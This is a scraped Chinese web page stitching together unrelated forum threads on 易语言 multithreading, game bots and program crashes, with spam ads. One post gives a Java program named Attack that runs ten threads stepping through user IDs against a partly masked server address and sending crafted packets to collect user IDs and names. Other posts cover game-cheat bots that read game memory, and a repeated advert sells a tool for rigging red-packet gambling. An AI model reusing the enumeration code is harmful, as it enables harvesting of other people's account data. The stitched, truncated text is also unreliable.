谁能帮我把一个易语言多线程程序改成多线程程序

没事做改写的一个易语言大漠多线程多对象 单开单停控制台!需要的就拿去学习吧! _ 大漠插件 - 按键精灵论坛
腾讯微博:
软件版本:2014.03软件大小:55.1M更新时间:
软件版本:3.0.3(免root)软件大小:36.2M更新时间:
软件版本:1.2软件大小:37.4M更新时间:
查看: 2970|回复: 38
[配套工具]
woaishangw
没事做改写的一个易语言大漠多线程多对象 单开单停控制台!需要的就拿去学习吧!时间仓促随便写
最近有很多朋友问我这个问题 多线程绑定 暂停 怎么控制!我就随手改编了一个大漠多线程的例子!附带模块 测试记事本*2 源码
需要的拿去自己研究吧!您所在的用户组无法下载或查看附件靠权限不够 上传不了附件需要的就回帖 留下QQ
我发给你!
还要加QQ? 你直接发代码不就得了
╠╗R卜嫒匛卟疟
按键精灵开发者4级可通过提升认证等级来升级勋章:
按键精灵开发者4级可通过提升认证等级来升级勋章:
按键精灵开发者4级可通过提升认证等级来升级勋章:
zhuhai82475
libinqi456
按键精灵开发者4级可通过提升认证等级来升级勋章:
如何一个线程,读取一个配置文件的设置呢!~!!只需一步,快速开始
扫一扫,访问微社区
查看: 4095|回复: 0
[原创]伤不起的易语言与多线程_简单的网络编程
TA的每日心情开心半小时前签到天数: 9 天[LV.3]偶尔看看II黑马币技术分主题
金牌黑马, 积分 2203, 距离下一级还需 2797 积分
金牌黑马, 积分 2203, 距离下一级还需 2797 积分
本帖最后由 cat73 于
23:18 编辑
由于Java刚刚自学到String这部分
昨天想写个多线程探测的东东
于是用了我玩过多年的易语言
结果一整天,怎么改怎么崩溃
用几分钟就崩溃了
最后安装了OD,在崩溃后附加调试
发现崩溃的位置是易语言的TCP客户端库里调用的socket函数
原来易语言的库到了多线程会不安全
当时很晚了,就睡了
今早用Java重写了一份,涉及到socket的部分都是去网上查的用法
花了三四个小时吧,整出来了个小程序,挂了七八个小时了,依旧很稳
这个程序用于探测一个服务器的漏洞,为了防止对该公司造成损失,部分代码用&*&隐去
以下是全部代码,IO流以及Socket部分之前没接触过,所以可能写的不大好
希望大家能给个建议喵~~
package tk.cat73.****;
import java.io.InputS
import java.io.OutputS
import java.net.InetA
import java.net.S
import java.util.concurrent.locks.*;
class Attack**** implements Runnable {
& && &&&private final int THREAD_WAIT;
& && &&&private long currentId;
& && &&&private ReentrantLock lock = new ReentrantLock();
& && &&&Attack****(int threadWait, long startId) {
& && && && && & THREAD_WAIT = threadW
& && && && && & currentId = startId;
//& && && && && & try {
//& && && && && && && && &System.out.println(getUserInfo(41333*****L));
//& && && && && & } catch (Exception e) {
//& && && && && && && && &// TODO Auto-generated catch block
//& && && && && && && && &e.printStackTrace();
//& && && && && & }
& && &&&}
& && &&&@SuppressWarnings(&static-access&)
& && &&&public void run() {
& && && && && & while (true) {
& && && && && && && && &long thisId = getId();
& && && && && && && && &try {
& && && && && && && && && && &&&String info = getUserInfo(thisId);
& && && && && && && && && && &&&if(!info.isEmpty())
& && && && && && && && && && && && && & System.out.println(info);
& && && && && && && && &} catch (Exception e) {
& && && && && && && && &}
& && && && && && && && &if(thisId % 1000 == 0)
& && && && && && && && && && &&&System.out.println(&最新完成:& + thisId);
& && && && && && && && &
& && && && && && && && &try {
& && && && && && && && && && &&&Thread.currentThread().sleep(THREAD_WAIT);
& && && && && && && && &} catch (InterruptedException e) {
& && && && && && && && &}
& && && && && & }
& && &&&}
& && &&&private long getId() {
& && && && && & lock.lock();
& && && && && & long thisId = currentId;
& && && && && & currentId++;
& && && && && & lock.unlock();
& && && && && & return thisId;
& && &&&}
& && &&&private String getUserInfo(long id) throws Exception {
& && && && && & byte[] recvPackage = getServerRecv(id);
& && && && && & return recvPackageToUserInfo(recvPackage);
& && &&&}
& && &&&private String recvPackageToUserInfo(byte[] recvPackage) {
& && && && && & String userInfo = &userid:&;
& && && && && & long userId = byte4ToInt(recvPackage, 20);
& && && && && & userInfo += userId;
& && && && && & userInfo += & name:&;
& && && && && & int index = 28;
& && && && && & while (recvPackage[index++] != 0)
& && && && && && && && &;
& && && && && & String userName = new String(recvPackage, 28, index - 28 - 1);
& && && && && & userInfo += userN
& && && && && & userInfo += &\n&;
& && && && && & if(userName.trim().equals(&&)){
& && && && && && && && &return &&;
& && && && && & } else {
& && && && && && && && &return userI
& && && && && & }
& && &&&}
& && &&&public long byte4ToInt(byte[] bytes, int off) {
& && && && && & int b0 = bytes[off] & 0xFF;
& && && && && & int b1 = bytes[off + 1] & 0xFF;
& && && && && & int b2 = bytes[off + 2] & 0xFF;
& && && && && & int b3 = bytes[off + 3] & 0xFF;
& && && && && & long l = ((b3 && 24) | (b2 && 16) | (b1 && 8) | b0) & 0xFFFFFFFFL;
& && && && && &
& && &&&}
& && &&&private byte[] getServerRecv(long id) throws Exception {
& && && && && & try {
& && && && && && && && &Socket s = new Socket(InetAddress.getByName(&221.***.***.***&), 3***5);
& && && && && && && && &OutputStream os = s.getOutputStream();
& && && && && && && && &InputStream is = s.getInputStream();
& && && && && && && && &byte[] sendPackage = getSendPackage(id);
& && && && && && && && &os.write(sendPackage);
& && && && && && && && &byte[] recvPackage = new byte[58];
& && && && && && && && &is.read(recvPackage, 0, 58);
& && && && && && && && &os.close();
& && && && && && && && &is.close();
& && && && && && && && &s.close();
& && && && && && && && &return recvP
& && && && && & } catch (Exception e) {
& && && && && && && && &e.printStackTrace();
& && && && && && && && &throw new Exception(&与服务器交互出现错误&);
& && && && && & }
& && &&&}
& && &&&private byte[] getSendPackage(long id) {
& && && && && & byte[] sendPackage = new byte[24];
& && && && && & // 整包长度
& && && && && & sendPackage[0] = 24;
& && && && && & sendPackage[1] = 0;
& && && && && & sendPackage[2] = 0;
& && && && && & sendPackage[3] = 0;
& && && && && & // 未知,疑似版本号
& && && && && & sendPackage[4] = 1;
& && && && && & sendPackage[5] = 0;
& && && && && & sendPackage[6] = 0;
& && && && && & sendPackage[7] = 0;
& && && && && & sendPackage[8] = 0;
& && && && && & sendPackage[9] = 0;
& && && && && & sendPackage[10] = 0;
& && && && && & sendPackage[11] = 0;
& && && && && & sendPackage[12] = 0;
& && && && && & sendPackage[13] = 0;
& && && && && & sendPackage[14] = 0;
& && && && && & sendPackage[15] = 0;
& && && && && & sendPackage[16] = (byte) (id & 0xff);
& && && && && & sendPackage[17] = (byte) ((id & 0xff00) && 8);
& && && && && & sendPackage[18] = (byte) ((id & 0xff0000) && 16);
& && && && && & sendPackage[19] = (byte) ((id & 0xff000000) && 24);
& && && && && & sendPackage[20] = 0;
& && && && && & sendPackage[21] = 0;
& && && && && & sendPackage[22] = 0;
& && && && && & sendPackage[23] = 0;
& && && && && & return sendP
& && &&&}
}
public class Attack{
& && &&&public static void start() {
& && && && && & int threadCount = 10;
& && && && && & int threadWait = 100;
& && && && && & long startId = 41332*****L;
& && && && && & //String serverIP = &221.***.***.***&;
& && && && && & //int serverPort = 3***5;
& && && && && & Attack**** att = new Attack****(threadWait, startId);
& && && && && &
& && && && && & Thread[] t = new Thread[threadCount];
& && && && && & for(int i = 0; i & threadC i++){
& && && && && && && && &t[i] = new Thread(att);
& && && && && && && && &t[i].start();
& && && && && & }
& && &&&}
}复制代码
感觉写了这么个小项目之后很好的复习了下以往学过的东西
黑马的自学视频里的实际项目还是太少,基本都是针对某一个问题做练习题的感觉
也不知道是不是我个人的问题,如果经常有些小项目做,我就会一直把精力高度集中在学习上
而要是只看知识点,就有点想睡觉的意思,学进去要好久
你们会不会酱紫捏?
神马都是浮云
站长推荐 /4
黑马iOS最权威最有料的资源帖横空出世!你还在找着各种各样的技巧及视频,在某宝花着大量银子才发现最终收到的却是很多年前的教学视频与资料吗?请来了解下,为什么iOS开发者是程序猿中的高富帅,开发者中的战斗机!
你还在为东拼西凑的找资料吗?你还在为焦灼为面试题和技巧而忙碌吗?本帖持续更新,真正的做到毫不保留,全部无偿分享,只为帮助更多的人受益;一键获取所有免费资源,添加QQ:2291...
为了让更多的学员圆梦高薪就业;为了让更多学员不花费大量时间找资源;为了让更多学员打造成全能设计师;传智播客武汉中心,独家整理分享实体班同步视频+海量素材,打造年薪20W全能设计师!
一帖在手,说走就走,小马驹们看过来~是不是有一种点招社招傻傻分不清楚赶脚?是不是有一种黑马论坛黑马报名系统傻傻分不清楚赶脚?是不是有一种先付费后付费傻傻分不清楚赶脚?莫要担心,雪姐来解释一下!
Powered by
Copyright &29732 变动窗口源码例程,程序结合易语言多线程支持库,实现了 以不同形状出现的效果。 ELanguage 编程 238万源代码下载-
&文件名称: 29732
& & & & &&]
&&所属分类:
&&开发工具: EasyLanguage易语言
&&文件大小: 119 KB
&&上传时间:
&&下载次数: 0
&&提 供 者:
&详细说明:变动窗口源码例程,程序结合易语言多线程支持库,实现了窗口以不同形状出现的效果。-Changes in the source window routines, programs combined with easy language support multithreading library that implements the results window appears in different shapes .
文件列表(点击判断是否您需要的文件,如果是垃圾请在下面评价投诉):
&&易语言变动窗口源码.e&&易模块.ec
&输入关键字,在本站238万海量源码库中尽情搜索:查看: 4042|回复: 5
易语言多线程程序崩溃
阅读权限50
在线时间 小时
结帖率: (32/36)
使用的是多线程写的一个游戏的脚本,调试了两天了
& && && & 由于电脑U太差(AMD),当到了接任务的地方的时候由于那地方人太多,在那地方接任务CPU经常会跑到100,然后接完任务过不了两分钟程序就自动停止调试了
& && &&&检查了代码,确定排除了公共变量及组键冲突的问题,循环里也加了延时了(也尝试过在循环里加了&&处理事件()),
就是想问下,是不是因为CPU占用率跑到100的这个原因,导致自动停止调试了?请来个权威帮忙解答下,感激不尽。如果是CPU的原因有什么解决的办法吗?如果不是,那是什么原因?
你应该编译出来,把调试输出部分放在一个编辑框里加入文本方式显示。调试本身就不如编译出来使用,调试,说实话,以前我也是先调试看问题,自从老爱调试调试着就蓝屏重启的,就不再调试了。如果调试时自动停止了,那么很有可能编译出来运行的时候程序会KO
回答提醒:如果本帖被关闭无法回复,您有更好的答案帮助楼主解决,请发表至
可获得加分喔。友情提醒:本版被采纳的主题可在
帖子申请荣誉值,获得 1点 荣誉值,荣誉值可兑换终身vip用户组哦。快捷通道: →
阅读权限180
在线时间 小时
签到天数: 12 天结帖率: (18/18)
高大上手机用户
你应该编译出来,把调试输出部分放在一个编辑框里加入文本方式显示。调试本身就不如编译出来使用,调试,说实话,以前我也是先调试看问题,自从老爱调试调试着就蓝屏重启的,就不再调试了。如果调试时自动停止了,那么很有可能编译出来运行的时候程序会KO
热心帮助他人,荣誉+1,希望继续努力(*^__^*) 嘻嘻!
阅读权限90
在线时间 小时
签到天数: 8 天结帖率: (3/3)
没源码的问题,应该没大神那么有空慢慢帮你猜问题
阅读权限90
在线时间 小时
签到天数: 1 天结帖率: (6/6)
CPU内存问题的话应该只会程序卡住不动而不会崩溃。 应该是多线程代码的写法出错
阅读权限70
在线时间 小时
签到天数: 4 天结帖率: (40/49)
我可以保证你是脚本错误,比如我写大话西游三到人多电脑100的CPU 或有时内存爆满 最终结果是电脑卡死或过娘久电脑缓过来了,如果程序自动终止调试是完全不可能,如脚本错误会在WIN7下提示崩溃,XP下无任何提示脚本自动退出,我的QQ:
阅读权限228
在线时间 小时
签到天数: 8 天结帖率: (2/2)
别用多线程啊&&循环加延迟和处理事件 但是别用自带的用精易模块的
精易论坛 - 有你更精彩 /1
易语言自带组件无法满足开发需求?想让商业软件更专业更美观?SmartUI界面引擎作者将带领大家从零开始系统学习自绘,写自绘框架引擎,结合web来diy界面,快来围观~
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
揭阳精易科技有限公司申明:我公司所有的培训课程版权归精易所有,任何人以任何方式翻录、盗版、破解本站培训课程,我们必将通过法律途径解决!
公司简介:揭阳市揭东区精易科技有限公司致力于易语言教学培训/易语言学习交流社区的建设与软件开发,多年来为中小企业编写过许许多多各式软件,并把多年积累的开发经验逐步录制成视频课程供学员学习,让学员全面系统化学习易语言编程,少走弯路,减少对相关技术的研究与摸索时间,从而加快了学习进度!
Powered by易语言写诛仙3挂机一个辅Zhu窗口控制多个游戏窗口,利用多线程,求指导|::::广海游戏:::: - ★广海社区★ -
授人以鱼不如授人以渔 - Powered by phpwind
查看完整版本: [--
易语言写诛仙3挂机一个辅Zhu窗口控制多个游戏窗口,利用多线程,求指导
[attachment=58076][attachment=58075][attachment=58075][attachment=58074]&&&&易语言写诛仙3挂机一个辅Zhu窗口控制多个游戏窗口,利用多线程,求指导。&源码已经完成一半了,利用的数据类型,还有数组保存挂机设置的内容,进行一个脚本控制多个游戏窗口。&写到这里不知道哪里出错了,希望大牛们,给来次解答。&&本人QQ&&再次版主不让提,&&如果有人可以的话,希望可以给我发短消息的形式,告诉我你的联系方式,四五零六四三二一五&&[attachment=58074]&
&太捉急了,偶不会E....&&
如此写法, 很伤神
这样的写法 代码太多&&效果也不见的好
楼上的几位说的没错&&楼主也没必要多线程的 易语言有客服组件 可以写一个套接字(SOCKET)来控制 &&还有其他的:&消息队列(消息子类化);&& 内存共享;&&管道; ...........&&参考:&
很久没碰诛仙了~~LZ代码比较乱~记得以前写多开是 写一个框架~一个脚本~然后多少开都没问题~
路过&&支持 支持
我晕 这变量名!!
瞧瞧。。。。。。。。。。。
太有毅力了 这样写很伤神哦
这样的写法 代码太多&&效果也不见的好
看不懂e啊 晕的很
这搞的太累了,你不怕挂卡死吗?直接一个挂制件一个窗口,不更方便嘛,你变量名这样写,自己不晕?
.版本 2&&.子程序 等级, 整数型&&返回 (读长偏移 (基址, “1C”, #人物基址, #等级偏移))&我喜欢用的尽量精简&
进程ID数组控制会不会比较容易点?&&多线程不稳定吧?
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 8K红包辅助震撼上线&&&众所周知现在到处都在玩红包,小至1元5包大至200元5包的接龙,牛牛,三公,牌九各种玩法。&&&&很多人因接触少奈何苦苦找不到这类群,其实方法也很简单,通过腾讯聊天群搜索关键,&&&比如接龙,牛牛,三公等等就能找到很多这类的玩家聚集地,询问这些老司机能获得更高质量的群体。&&&&有资源和人脉的朋友亦可自行搭建,提供一个小技巧可以通过抢客和建立小包群如1元5包接龙聚集人气,&&&然后从中筛选高质量客户进驻更高档次的群。&&&&&&利润我不做介绍了,玩过的人都知道就算最小的1元5包的接龙群最佳发包,平均每分钟接包速度为5个,&&& 以每个包0.15元最低计算,一个群玩8个小时也有360元进账,何况谁只有一个群?&&&&介绍辅助功能:辅助控制尾数大小,可设置不抢最佳,不抢最差。&&&&&&&&&&&&&&&&&控制牛牛玩法点数,控制三公点数,控制百家乐点数,控制牌九点数&&&&&&&&&&&&&&&&&&&&&&&&详情请加V: 联系客服观看辅助视频,先安装后付费再授权。
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 8K红包辅助震撼上线&&&众所周知现在到处都在玩红包,小至1元5包大至200元5包的接龙,牛牛,三公,牌九各种玩法。&&&&很多人因接触少奈何苦苦找不到这类群,其实方法也很简单,通过腾讯聊天群搜索关键,&&&比如接龙,牛牛,三公等等就能找到很多这类的玩家聚集地,询问这些老司机能获得更高质量的群体。&&&&有资源和人脉的朋友亦可自行搭建,提供一个小技巧可以通过抢客和建立小包群如1元5包接龙聚集人气,&&&然后从中筛选高质量客户进驻更高档次的群。&&&&&&利润我不做介绍了,玩过的人都知道就算最小的1元5包的接龙群最佳发包,平均每分钟接包速度为5个,&&& 以每个包0.15元最低计算,一个群玩8个小时也有360元进账,何况谁只有一个群?&&&&介绍辅助功能:辅助控制尾数大小,可设置不抢最佳,不抢最差。&&&&&&&&&&&&&&&&&控制牛牛玩法点数,控制三公点数,控制百家乐点数,控制牌九点数&&&&&&&&&&&&&&&&&&&&&&&&详情请加V: 联系客服观看辅助视频,先安装后付费再授权。
查看完整版本: [--
Powered by
Time 0.078124 second(s),query:2 Gzip enabled

我要回帖

更多关于 易语言多线程访问网页 的文章

 

随机推荐